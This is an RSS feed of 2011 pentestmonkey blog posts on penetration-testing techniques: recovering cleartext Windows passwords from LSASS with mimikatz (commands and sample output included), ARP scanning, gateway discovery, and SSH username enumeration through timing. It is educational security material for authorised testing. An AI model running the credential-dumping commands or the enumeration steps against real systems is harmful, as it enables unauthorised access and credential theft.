<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>pentestmonkey</title>
	<atom:link href="https://pentestmonkey.net/feed" rel="self" type="application/rss+xml" />
	<link>https://pentestmonkey.net</link>
	<description>Taking the monkey work out of pentesting</description>
	<lastBuildDate>Wed, 25 Jan 2012 21:27:18 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>
	<item>
		<title>mimikatz: Tool To Recover Cleartext Passwords From Lsass</title>
		<link>https://pentestmonkey.net/blog/mimikatz-tool-to-recover-cleartext-passwords-from-lsass</link>
		
		<dc:creator><![CDATA[pentestmonkey]]></dc:creator>
		<pubDate>Tue, 20 Dec 2011 11:36:51 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<guid isPermaLink="false">http://pentestmonkey.net/?p=688</guid>

					<description><![CDATA[I meant to blog about this a while ago, but never got round to it. Here&#8217;s a brief post about very cool feature of a tool called mimikatz. I&#8217;m very grateful to the tool&#8217;s author for bringing it to my attention. Until that point, I didn&#8217;t realise it was possible to recover the cleartext passwords [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>I meant to blog about this a while ago, but never got round to it.  </p>
<p>Here&#8217;s a brief post about very cool <a href="http://blog.gentilkiwi.com/mimikatz/sekurlsa#getLogonPasswords">feature</a> of a tool called <a href="http://blog.gentilkiwi.com/mimikatz">mimikatz</a>.</p>
<p>I&#8217;m very grateful to the tool&#8217;s author for bringing it to my attention.  Until that point, I didn&#8217;t realise it was possible to recover the cleartext passwords of logged on windows users.  Something that I&#8217;m sure most pentesters would find very useful.</p>
<p>Here&#8217;s some sample output provided by the author:</p>
<pre>
mimikatz 1.0 x86 (pre-alpha)    /* Traitement du Kiwi */

mimikatz # privilege::debug
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK

mimikatz # inject::process lsass.exe sekurlsa.dll
PROCESSENTRY32(lsass.exe).th32ProcessID = 488
Attente de connexion du client...
Serveur connecté à un client !
Message du processus :
Bienvenue dans un processus distant
                        Gentil Kiwi

SekurLSA : librairie de manipulation des données de sécurités dans LSASS

mimikatz # @getLogonPasswords

Authentification Id         : 0;434898
Package d'authentification  : NTLM
Utilisateur principal       : Gentil User
Domaine d'authentification  : vm-w7-ult
        msv1_0 :        lm{ e52cac67419a9a224a3b108f3fa6cb6d }, ntlm{ 8846f7eaee8fb117ad06bdd830b7586c }
        wdigest :       password
        tspkg :         password

Authentification Id         : 0;269806
Package d'authentification  : NTLM
Utilisateur principal       : Gentil Kiwi
Domaine d'authentification  : vm-w7-ult
        msv1_0 :        lm{ d0e9aee149655a6075e4540af1f22d3b }, ntlm{ cc36cf7a8514893efccd332446158b1a }
        wdigest :       waza1234/
        tspkg :         waza1234/
</pre>
<p>I wondered why the cleartext password would need to be stored in LSASS &#8211; after all every pentester will tell you that you don&#8217;t need the password to authenticate, just the hash.</p>
<p>A bit of googling seems to indicate that <a href="http://technet.microsoft.com/en-us/library/cc778868(WS.10).aspx">wdigest</a> (the password) is required to support <a href="http://www.ietf.org/rfc/rfc2617.txt">HTTP Digest Authentication</a> and other schemes that require the authenticating party to know the password &#8211; and not just the hash.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>windows-privesc-check</title>
		<link>https://pentestmonkey.net/tools/windows-privesc-check</link>
		
		<dc:creator><![CDATA[pentestmonkey]]></dc:creator>
		<pubDate>Tue, 20 Dec 2011 06:04:27 +0000</pubDate>
				<category><![CDATA[Audit]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[audit]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[windows]]></category>
		<guid isPermaLink="false">http://pentestmonkey.net/?p=541</guid>

					<description><![CDATA[A long time ago, I started writing a tool to look for local privilege escalation vectors on Windows systems &#8211; e.g. weak permissions on files, directories, service registy keys.  I never quite got round to finishing it, but the project could still be useful to pentesters and auditors in its current part-finished state. I&#8217;d suggest giving it a [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>A long time ago, I started writing a tool to look for <a href="http://code.google.com/p/windows-privesc-check/wiki/DesignGoals">local privilege escalation vectors</a> on Windows systems &#8211; e.g. weak permissions on files, directories, service registy keys.  I never quite got round to finishing it, but the project could still be useful to pentesters and auditors in its current part-finished state.</p>
<p>I&#8217;d suggest giving it a try next time you do a security audit with local administrator rights, or next time you get a non-admin logon to a Windows system during a pentest.  It was designed to be useful for both.</p>
<p><a href="http://code.google.com/p/windows-privesc-check/source/browse/#svn%2Ftrunk">Trunk</a> contains the best all-round version. It checks some file, directory, registry and service permissions (among other things).  Reports are in HTML.</p>
<p>The newer <a href="http://code.google.com/p/windows-privesc-check/source/browse/#svn%2Fbranches%2Fwpc-2.0">wpc-2.0 branch</a> does a better job at auditing Windows services &#8211; but does little else.  Reports are in text only.</p>
<p>You only need to download the .exe file. Full source code is available too, though.  It&#8217;s written in Python, uses <a href="http://sourceforge.net/projects/pywin32/files/pywin32/">pywin32</a> and &#8220;compiled&#8221; with <a href="http://www.pyinstaller.org/">pyinstaller</a>. You don&#8217;t need to download any dependencies (even python) unless you&#8217;re planning to <a href="http://code.google.com/p/windows-privesc-check/wiki/BuildingTheExecutable">build the .exe yourself</a>.</p>
<h2>FAQ</h2>
<h3>Why 2 versions?</h3>
<p>The code in &#8220;trunk&#8221; wasn&#8217;t object-oriented, making it harder to work with.  I rewrote it to create the &#8220;wpc-2.0&#8221; branch. Much better &#8211; but alas, not finished.</p>
<h3>Can I see the source code?</h3>
<p>Yes, it&#8217;s on <a href="http://code.google.com/p/windows-privesc-check/source/browse/">google code</a> along with the executables.</p>
<h3>Will the program elevate privileges for me?</h3>
<p>No.  It gives you a report describing any potential vulnerabilities it finds, but doesn&#8217;t have any autopwn features.  This is mostly to reduce the risk of my code accidentally breaking your client&#8217;s system <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Finding IP Addresses of Other Network Interfaces on Linux</title>
		<link>https://pentestmonkey.net/uncategorized/finding-ip-addresses-of-other-network-interfaces-on-linux</link>
		
		<dc:creator><![CDATA[pentestmonkey]]></dc:creator>
		<pubDate>Sun, 16 Oct 2011 16:12:34 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[ipstackquirks]]></category>
		<category><![CDATA[pentest]]></category>
		<guid isPermaLink="false">http://pentestmonkey.net/?p=497</guid>

					<description><![CDATA[The scenario for this post is that you&#8217;re connected to the local LAN of the systems you&#8217;re pentesting &#8211; possibly in a DMZ or multi-tiered architecture.  If you&#8217;re on an externally-facing LAN, you may find that there aren&#8217;t many network services to explore. As your pentest starts to look more like a vulnerability assessment, you [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>The scenario for this post is that you&#8217;re connected to the local LAN of the systems you&#8217;re pentesting &#8211; possibly in a DMZ or multi-tiered architecture.  If you&#8217;re on an externally-facing LAN, you may find that there aren&#8217;t many network services to explore.</p>
<p>As your pentest starts to look more like a vulnerability assessment, you might start thinking about the following:</p>
<ul>
<li>How many of these systems are multihomed?</li>
<li>What network services are accessible on the other interfaces?</li>
</ul>
<p>In modern network architectures, systems often have a mangement LAN interface, or a backup LAN interface and potentially other interfaces that are more interesting than the one you&#8217;re looking at.</p>
<p>If you can find the IP addresses of these other interfaces, you might be able to pentest a few more interesting network services from your vantage point on the external network segment.</p>
<h2>Finding IP Addresses of Remote Network Interfaces</h2>
<p>If you&#8217;re lucky you&#8217;ll be able to use <a href="http://linux.die.net/man/1/snmpnetstat">SNMP</a> (generic) or a &#8220;<a href="http://www.nessus.org/plugins/index.php?view=single&amp;id=43815">special NetBOIS query</a>&#8221; (Windows only) to list all the IP address of a system.</p>
<p>If this doesn&#8217;t work, you might be able to bruteforce the IP addresses using ARP queries.</p>
<p>Linux hosts will respond to ARP requests for all of their IP addresses on all of their Interfaces.   i.e. a multi-homed host might respond to both of these probes from the LAN you&#8217;re on:</p>
<pre>arp-scan 10.0.0.99
arp-scan 192.168.0.99</pre>
<p>This is counter-intuitive.  If you&#8217;re like me, you&#8217;d probably expect the target system to only answer ARP requests for IPs on the same LAN as the client. Indeed Solaris, Windows and AIX behave as expected.</p>
<p>When ARP scanning, your source IP address might be important (so also try 0.0.0.0).  Reasoning for this is discussed further <a href="http://pentestmonkey.net/blog/the-science-of-safely-finding-an-unused-ip-address">here</a> and <a href="http://www.nta-monitor.com/wiki/index.php/Arp-scan_User_Guide#Using_arp-scan_for_system_fingerprinting">here</a>.</p>
<p>Using <a href="http://www.nta-monitor.com/tools/arp-scan/">arp-scan</a>, a Class B can be scanned in 36 secs on my test system, using 3% CPU and 1 MB/s bandwidth:</p>
<pre># arp-scan --bandwidth=1M --retry=1 --arpspa=1.1.1.1 172.16.1.0/16</pre>
<p>So it&#8217;s just about practical to scan 10.0.0.0/8, 172.16.0.0/12 and 192.168.0.0/16. It should take less than 3 hours and would cover all hosts on the local subnet if you used broadcast ARP requests.  To do this for 4 source addresses would take 12 hours, which is a more significant amount of time.</p>
<p>If for some reason you don&#8217;t want to use broadcast ARP requests (maybe you&#8217;re not authorised to test the whole LAN), you can unicast requests by specifying the destination MAC address:</p>
<pre># arp-scan --bandwidth=1M --retry=1 --arpspa=1.1.1.1 --destaddr=00:11:22:33:44:55 172.16.1.0/16</pre>
<h3>How to Fix</h3>
<p>Changing the <a href="http://www.linuxinsight.com/proc_sys_net_ipv4_conf_eth0_arp_ignore.html">arp_ignore</a> option in /proc from 0 (default) to 1 will remedy the above behavior.</p>
<pre>echo 1 &gt; /proc/sys/net/ipv4/conf/all/arp_ignore</pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>gateway-finder</title>
		<link>https://pentestmonkey.net/tools/gateway-finder</link>
		
		<dc:creator><![CDATA[pentestmonkey]]></dc:creator>
		<pubDate>Sun, 09 Oct 2011 16:02:38 +0000</pubDate>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[discovery]]></category>
		<category><![CDATA[gateway]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[tool]]></category>
		<guid isPermaLink="false">http://pentestmonkey.net/?p=520</guid>

					<description><![CDATA[Gateway-finder is a scapy script that will help you determine which of the systems on the local LAN has IP forwarding enabled and which can reach the Internet. This can be useful during Internal pentests when you want to quickly check for unauthorised routes to the Internet (e.g. rogue wireless access points) or routes to other [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Gateway-finder is a <a href="http://www.secdev.org/projects/scapy/">scapy</a> script that will help you determine which of the systems on the local LAN has IP forwarding enabled and which can reach the Internet.</p>
<p>This can be useful during Internal pentests when you want to quickly check for unauthorised routes to the Internet (e.g. rogue wireless access points) or routes to other Internal LANs.  It doesn&#8217;t perform a hugely thorough check, but it is quick at least.  It&#8217;s python, so it should be easy to modify if you need it to do something more sophisticated.</p>
<h3>Download</h3>
<p><a href="https://github.com/pentestmonkey/gateway-finder">https://github.com/pentestmonkey/gateway-finder</a></p>
<p><span class="Apple-style-span" style="color: #000000; font-size: 17px; line-height: 25px;">Overview</span></p>
<p>You give the script the IP address of a system on the Internet you&#8217;re trying to reach and it will send the following probes via each system on the local LAN:</p>
<ul>
<li>An ICMP Ping</li>
<li>A TCP SYN packet to port 80</li>
<li>An ICMP Ping with a TTL of 1</li>
<li>A TCP SYN packet to port 80 with a TTL of 1</li>
</ul>
<p>It will report separately which systems send an ICMP &#8220;TTL exceeded in transit&#8221; message back (indicating that they&#8217;re routers) and which respond to the probe (indicating that they&#8217;re gateways to the Internet).</p>
<h3>Dependencies</h3>
<p>Python and Scapy.  On Debian / Ubuntu you should just need to do this:</p>
<pre># apt-get install python-scapy</pre>
<h3>Usage</h3>
<pre># python gateway-finder.py -h
Usage: gateway-finder.py [ -I interface ] -i ip -f macs.txt

Tries to find a layer-3 gateway to the Internet.  Attempts to reach an IP
address using ICMP ping and TCP SYN to port 80 via each potential gateway
in macs.txt (ARP scan to find MACs)

Options:
  -h, --help            show this help message and exit
  -i IP, --ip=IP        Internet IP to probe
  -v, --verbose         Verbose output
  -I INTERFACE, --interface=INTERFACE
                        Network interface to use
  -f MACFILE, --macfil=MACFILE
                        File containing MAC addresses</pre>
<h3>Step 1: Run an ARP scan to identify systems on the local LAN</h3>
<p>Use your favourite ARP scanning to identify systems on the local LAN. Save the output (I use to arp.txt in the example below).</p>
<pre># arp-scan -l | tee arp.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100     00:13:72:09:ad:76       Dell Inc.
10.0.0.200     00:90:27:43:c0:57       INTEL CORPORATION
10.0.0.254     00:08:74:c0:40:ce       Dell Computer Corp.

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.6: 256 hosts scanned in 2.099 seconds (121.96 hosts/sec).  3 responded</pre>
<h3>Step 2: Run gateway-finder on the list of local systems</h3>
<p>Gateway-finder needs two bits of input from you:</p>
<ul>
<li>The MAC addresses of the potential gateways</li>
<li>The IP address of a system on the Internet (I use a google.com address in the example below):</li>
</ul>
<p>If arp.txt also contains an IP of each system on the same line as the MAC, you&#8217;ll get much nicer output.  If you need to use a different network interface, use the -I option.</p>
<pre># python gateway-finder.py -f arp.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder

[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in arp.txt
[+] 00:13:72:09:AD:76 [10.0.0.100] appears to route ICMP Ping packets to 209.85.227.99.  Received ICMP TTL Exceeded in transit response.
[+] 00:13:72:09:AD:76 [10.0.0.100] appears to route TCP packets 209.85.227.99:80.  Received ICMP TTL Exceeded in transit response.
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] Done</pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>The Science of Safely Finding an Unused IP Address</title>
		<link>https://pentestmonkey.net/blog/the-science-of-safely-finding-an-unused-ip-address</link>
		
		<dc:creator><![CDATA[pentestmonkey]]></dc:creator>
		<pubDate>Sun, 02 Oct 2011 16:33:20 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[ipstackquirks]]></category>
		<guid isPermaLink="false">http://pentestmonkey.net/?p=556</guid>

					<description><![CDATA[During pentests you&#8217;re often allocated an IP by the client or can get one via DHCP. There are times, however when the client might expect you find a free IP on your own. Or you might want to check that the client hasn&#8217;t assigned you an IP address that&#8217;s already in use. I&#8217;m sure we&#8217;ve [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>During pentests you&#8217;re often allocated an IP by the client or can get one via DHCP. There are times, however when the client might expect you find a free IP on your own. Or you might want to check that the client hasn&#8217;t assigned you an IP address that&#8217;s already in use.</p>
<p>I&#8217;m sure we&#8217;ve all got our own techniques for doing this. Each will have a greater or lesser risk of causing a temporary IP clash. This post explores some ways that we can minimise the risk picking an IP address that&#8217;s in use.</p>
<p>I make heavy use of <a href="http://www.nta-monitor.com/tools/arp-scan/">arp-scan</a> during the explanation below and also use the fingerprint database of <a href="http://www.nta-monitor.com/wiki/index.php/Arp-scan_User_Guide#Using_arp-scan_for_system_fingerprinting">arp-fingerprint</a>. So, thanks upfront to arp-scan&#8217;s author, Roy Hills for a very useful tool and comprehensive database that made this blog post much quicker to write than it otherwise would have been. That said, this post isn&#8217;t really about tools, just a methodology for finding a free IP address.</p>
<h2>Network Sniffing</h2>
<p>If you find yourself on a network and DHCP fails, your best course of action is probably to sniff on the network for a while (e.g. with <a href="http://www.tcpdump.org/">tcpdump</a> or <a href="http://www.wireshark.org/">wireshark</a>). Hopefully you&#8217;ll seem some broadcast traffic that will give you an idea of some of the IP addresses in use.</p>
<p>For the sake of an example, let&#8217;s assume we&#8217;ve seen traffic from 10.0.0.1.</p>
<h2>Guess a Network Range</h2>
<p>Now guess a netmask in which you&#8217;ll search for a free IP address &#8211; you can always expand the network range later when you&#8217;ve found a free IP and want to start your pentest. Perhaps start by assuming a Class C network, so we&#8217;re looking to find the free IPs in 10.0.0.0/24.</p>
<h2>Use ARP Queries to Identify IPs in Use</h2>
<p>This is the main point of the post. It seems that a few well chose ARP requests will mean that your probing is both effective and minimises the chances of causing an IP clash.</p>
<p>We know that we need to scan 10.0.0.0/24, but what should we choose as our source IP address? Arp-fingerprint&#8217;s database indicates that the following would be good choices:</p>
<ul>
<li>127.0.0.1</li>
<li>0.0.0.0</li>
<li>255.255.255.255</li>
<li>1.0.0.1 (IP network 1.0.0.0/8 is reserved by IANA)</li>
</ul>
<p>So the corresponding arp-scan commands would be:</p>
<pre> arp-scan --arpspa=127.0.0.1 10.0.0.0/24
 arp-scan --arpspa=0.0.0.0 10.0.0.0/24
 arp-scan --arpspa=255.255.255.255 10.0.0.0/24
 arp-scan --arpspa=1.0.0.1 10.0.0.0/24</pre>
<p>But how effective is this going to be? Do systems generally respond to at least one of these probes? According to arp-fingerprint&#8217;s database, most OSs we&#8217;re likely to encounter will respond. Below is an extract from arp-fingerprint&#8217;s database (arp-scan v1.8.1). The OSs below where one of the first 4 digits is a &#8220;1&#8221; should be detected:</p>
<pre> my %fp_hash = (
 '11110100000' =&gt; 'FreeBSD 5.3, 7.0, DragonflyBSD 2.0, Win98, WinME, NT4, 2000, XP, 2003, Catalyst IOS 12.0, 12.1, 12.2, FortiOS 3.00',
 '01000100000' =&gt; 'Linux 2.2, 2.4, 2.6',
 '01010100000' =&gt; 'Linux 2.2, 2.4, 2.6, Vista, 2008, Windows7', # Linux only if non-local IP is routed
 '00000100000' =&gt; 'Cisco IOS 11.2, 11.3, 12.0, 12.1, 12.2, 12.3, 12.4',
 '11110110000' =&gt; 'Solaris 2.5.1, 2.6, 7, 8, 9, 10, HP-UX 11',
 '01000111111' =&gt; 'ScreenOS 5.0, 5.1, 5.3, 5.4',
 '11110000000' =&gt; 'Linux 2.0, MacOS 10.4, IPSO 3.2.1, Minix 3, Cisco VPN Concentrator 4.7, Catalyst 1900',
 '11110100011' =&gt; 'MacOS 10.3, FreeBSD 4.3, IRIX 6.5, AIX 4.3, AIX 5.3',
 '10010100011' =&gt; 'SCO OS 5.0.7',
 '10110100000' =&gt; 'Win 3.11, 95, NT 3.51',
 '11110000011' =&gt; '2.11BSD, 4.3BSD, OpenBSD 3.1, OpenBSD 3.9, Nortel Contivity 6.00, 6.05',
 '10110110000' =&gt; 'NetBSD 2.0.2, 4.0',
 '10110111111' =&gt; 'PIX OS 4.4, 5.1, 5.2, 5.3',
 '11110111111' =&gt; 'PIX OS 6.0, 6.1, 6.2, ScreenOS 5.0 (transparent), Plan9, Blackberry OS',
 '00010110011' =&gt; 'PIX OS 6.3, 7.0(1), 7.0(2)',
 '01010110011' =&gt; 'PIX OS 7.0(4)-7.0(6), 7.1, 7.2, 8.0',
 '00000110000' =&gt; 'Netware 6.5',
 '00010100000' =&gt; 'Unknown 1', # 14805 79.253 Cisco
 '00000110011' =&gt; 'Cisco IP Phone 79xx SIP 5.x,6.x,7.x',
 '11110110011' =&gt; 'Cisco IP Phone 79xx SIP 8.x', # Also 14805 63.11 Fujitsu Siemens
 );</pre>
<p>So by covering pretty much every version of Windows, Linux and Solaris, we&#8217;ve covered most of the servers and workstations types we&#8217;re likely to encounter on pentests (or at least the main ones that I encounter). The following won&#8217;t be found:</p>
<pre> '00000100000' =&gt; 'Cisco IOS 11.2, 11.3, 12.0, 12.1, 12.2, 12.3, 12.4',
 '00000110000' =&gt; 'Netware 6.5',
 '00000110011' =&gt; 'Cisco IP Phone 79xx SIP 5.x,6.x,7.x',</pre>
<h2>The Risky Bit</h2>
<p>So we think we&#8217;ve found most of the IPs that are used in 10.0.0.0/24, but we&#8217;re not absolutely sure.</p>
<p>Now, we can now do a small number of ARP probes from what we think is an unused IP address in the range. In fact, we&#8217;ll pick two IP addresses so we can verify that they&#8217;re both really free.</p>
<ol>
<li>Choose two (apparently) free addresses between the smallest and largest IP you&#8217;ve observed. Don&#8217;t choose an IP outside of this range unless you have to because your guess at the netmask might have been wrong. We&#8217;ll choose 10.0.0.99 and 10.0.0.11 for this example.</li>
<li>From each IP address, make an ARP request for the other</li>
</ol>
<pre style="padding-left: 90px;"> arp-scan --arpspa=10.0.0.11 10.0.0.99
 arp-scan --arpspa=10.0.0.99 10.0.0.11</pre>
<p>If you receive no response these probes, you can be sure they&#8217;re both free. Pick one and do an &#8220;arp-scan -l&#8221; with various netmasks until you&#8217;re happy your netmask is big enough.</p>
<p>If you receive a response to one of the probes above, change the used IP for another apprently free one and repeat.</p>
<h2>Disclaimer</h2>
<p>To the best of my knowledge the requests recommended above should be relatively safe or at least show diligence on your part.  I accept no responsibility if it anything goes wrong, though.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>timing-attack-checker</title>
		<link>https://pentestmonkey.net/tools/timing-attack-checker</link>
		
		<dc:creator><![CDATA[pentestmonkey]]></dc:creator>
		<pubDate>Sun, 25 Sep 2011 15:39:22 +0000</pubDate>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[perl]]></category>
		<category><![CDATA[tool]]></category>
		<category><![CDATA[userenumeration]]></category>
		<guid isPermaLink="false">http://pentestmonkey.net/?p=595</guid>

					<description><![CDATA[timing-attack-checker is a simple PERL script that helps you check for timing attacks. The most common form of timing attack I&#8217;ve noticed while pentesting is that the server may take longer to respond to a valid username than to an invalid username.  This can be handy for bruteforcing a list of valid usernames.  I&#8217;ll work [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>timing-attack-checker is a simple PERL script that helps you check for timing attacks.</p>
<p>The most common form of timing attack I&#8217;ve noticed while pentesting is that the server may take longer to respond to a valid username than to an invalid username.  This can be handy for bruteforcing a list of valid usernames.  I&#8217;ll work through an example of such an attack below.</p>
<p>The script could also be used to test other types of timing attack.  It should provide microsecond-resolution timing.</p>
<p>In its simplest form, you give it two commands you want it to record the execution time of.  It will run those commands 100 times (by default), recording how long it takes.</p>
<pre style="font-family: 'Courier 10 Pitch', Courier, monospace; color: #222222; line-height: 21px; font: normal normal normal 12px/18px Consolas, Monaco, monospace; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: #f7f7f7; margin-bottom: 24px; font-size: 15px; background-position: initial initial; background-repeat: initial initial; padding: 1.5em;">timing-attack-check.pl 'login.pl -u knownuser -p x' 'login.pl -u notexist -p x'</pre>
<p>The data is optionally saved in tab-delimited format for import into a spreadsheet.  Some raw stats are also output to help you decide if you&#8217;ve found a timing attack or not.</p>
<h3>Download</h3>
<p>Get the latest version from <a href="https://github.com/pentestmonkey/timing-attack-checker">github</a></p>
<h3>Usage</h3>
<pre>timing-attack-checker v1.0 http://pentestmonkey.net/tools/timing-attack-checker

Usage: timing-attack-check.pl [ options ] 'cmd1' 'cmd2' ['cmd3' ...]

options are:
  -n N      Number of times to run the commands
  -o file   File to write tab delimited data to

Example:
  timing-attack-check.pl 'login.pl -u knownuser -p x' 'login.pl -u notexist -p x'</pre>
<h3>Dependencies</h3>
<ul>
<li>PERL</li>
<li>Linux (because I use /dev/null for some output)</li>
<li>Time::HiRes module (probably installed by default &#8211; it is on Ubuntu 11.04)</li>
</ul>
<h3>Worked Example</h3>
<p>I set up an SSH server that only allowed logins using keys, not passwords.  I wanted to know if the server would take longer to respond to a login attempt for a valid username than for an invalid username &#8211; presumably it does less work if the username is invalid.  I load an SSH key into my ssh-agent so that the SSH client offers it to the server for each login attempt.</p>
<p>I used the following usernames for testing:</p>
<ul>
<li>&#8220;x&#8221; the name of an account that exists.  It also has an ~/.ssh/authorized_keys file</li>
<li>&#8220;y&#8221; the name of a non-existent account.</li>
<li>&#8220;z&#8221; the name of an account that exists.  It has no ~/.ssh/authorized_keys file</li>
</ul>
<p>I had an ssh-agent running that had one key loaded.  The key was not authorised to log into any account on the target system:</p>
<pre>$ ssh-keygen -f key1
$ eval `ssh-agent`
$ ssh-add key1</pre>
<p>I ran the following command to make 40 login attempts for each:</p>
<pre>$ timing-attack-checker.pl -o data.txt -n 40 'ssh x@host' 'ssh y@host' 'ssh z@host'</pre>
<p>The script output the following:</p>
<pre>[D] Running command: ssh x@host
[D] Command took 0.464256 secs
[D] Running command: ssh y@host
[D] Command took 0.115495 secs
[D] Running command: ssh z@host
[D] Command took 0.128768 secs
[D] Running command: ssh x@host
[D] Command took 0.125885 secs
[D] Running command: ssh y@host
... snip ...
=================================================
Results for: ssh x@host
Average time: 0.143035425
Minimum time: 0.10777
Maximum time: 0.464256
Standard deviation: 0.0608662980593068 (i.e. 68% of times within 1 sd, 95% within 2 sd)
Was fastest on 3 out of 40 occassions (7.5% of the time)
Was slowest on 10 out of 40 occassions (25% of the time)
=================================================
Results for: ssh y@host
Average time: 0.120723175
Minimum time: 0.095311
Maximum time: 0.206071
Standard deviation: 0.0171279751063684 (i.e. 68% of times within 1 sd, 95% within 2 sd)
Was fastest on 36 out of 40 occassions (90% of the time)
Was slowest on 3 out of 40 occassions (7.5% of the time)
=================================================
Results for: ssh z@host
Average time: 0.132942175
Minimum time: 0.114824
Maximum time: 0.154482
Standard deviation: 0.00611497853997666 (i.e. 68% of times within 1 sd, 95% within 2 sd)
Was fastest on 1 out of 40 occassions (2.5% of the time)
Was slowest on 27 out of 40 occassions (67.5% of the time)
=================================================
[+] Saving tab-delimited data to data.txt</pre>
<p>There are a lot of stats there.  Let&#8217;s discuss each in turn an see if it leads us to believe that there&#8217;s a username enumeration issue:</p>
<ul>
<li>Average time: This ranges from about 0.12 secs to 0.14 secs.  That&#8217;s a difference of more than 10%.  It&#8217;s also comparable to a standard deviation (depending which of the 3 you use).  It could be random noise caused by the laggy wireless network I ran it over.  &#8220;x&#8221; looks pretty slow.  &#8220;y&#8221; looks pretty fast.</li>
<li>Min/Max time: The min and max times for each login attempt would ideally be very similar.  We see that for some usernames the max is 2x or 4x higher than the min.  This shows we might have a choppy network connection.  Or maybe the client or server is busy.  This min/max helps to show the consistency (or otherwise) of the data collected.  Our samples aren&#8217;t particularly consistent.</li>
<li><a href="http://en.wikipedia.org/wiki/Standard_deviation">Standard Deviation</a>: How close our samples are to the average.  If themin/max of your sample set are similar and the difference between average login time for &#8220;x&#8221; and &#8220;y&#8221; (say) is more than 2 standard deviations, I think you can be pretty sure you&#8217;ve found a timing attack.  That doesn&#8217;t apply to the data we collected here (more like 1 sd).</li>
<li>Fastest/Slowest: Shows how consistently a command was the fastest/slowest in its round.  This can be useful for busy network/hosts if you can assume that all attempts will be slowed down consistently by network/host problems.  Logins were faster for &#8220;y&#8221; on 90% attempts, compared to the 33% you&#8217;d expect if no timing attack was present.  This seems quite compelling evidence that we can detect accounts that don&#8217;t exist &#8211; remember &#8220;y&#8221; doesn&#8217;t exist.</li>
</ul>
<p>So in conclusion, it seems that it would be possible to bruteforce a list of usernames that exist on the server tested.  If anyone wants to look further into this issue, I&#8217;ve included details on my config at the end of this post.</p>
<p>More generally, you&#8217;ll probably want to run only two commands, not three or more.  The option is there if you need it, though.</p>
<h3>Notes on SSH Server Config</h3>
<p>OS: Ubuntu 11.04</p>
<p>SSH Daemon: OpenSSH_5.8p1 (package: openssh-server 1:5.8p1-1ubuntu3)</p>
<p>Changes to default /etc/ssh/sshd_config:</p>
<pre>PasswordAuthentication no
Port 12345</pre>
<p>CPU: AMD Athlon(tm) 64 X2 Dual Core Processor 5000+</p>
<p>RAM: 2GB</p>
<p>Network: Wireless connection capable of around 3.5 MB/sec</p>
<p>Server was idle during testing.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Exposing only part of C: over Terminal Services</title>
		<link>https://pentestmonkey.net/uncategorized/exposing-only-part-of-c-over-terminal-services</link>
		
		<dc:creator><![CDATA[pentestmonkey]]></dc:creator>
		<pubDate>Sun, 18 Sep 2011 16:12:40 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[audit]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[terminalservices]]></category>
		<guid isPermaLink="false">http://pentestmonkey.net/?p=473</guid>

					<description><![CDATA[Ken Johnson gives a useful tip on his blog about limiting access to your local drives when you make a Terminal Services connection.  This is not new, but it&#8217;s useful enough to be worth summarizing here. When I audit a system via Terminal Services, I usually map a drive to or from the system depending on [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><a href="http://www.nynaeve.net/?page_id=2">Ken Johnson</a> gives a useful tip on his blog about <a href="http://www.nynaeve.net/?p=176">limiting access to your local drives</a> when you make a Terminal Services connection.  This is not new, but it&#8217;s useful enough to be worth summarizing here.</p>
<p>When I audit a system via Terminal Services, I usually map a drive to or from the system depending on what the Firewall will allow.</p>
<p>Sometimes, it won&#8217;t allow either, though.  In those cases one of the few options remaining is to configure mstsc.exe to expose a local drive on your client system to the server, accessing it via \\tsclient.  But, you probably want to avoid exposing your whole C: drive.</p>
<p>Assuming that you didn&#8217;t have the foresight to create a dedicated partition for this purpose (I didn&#8217;t), you can easily simulate a drive using subst:</p>
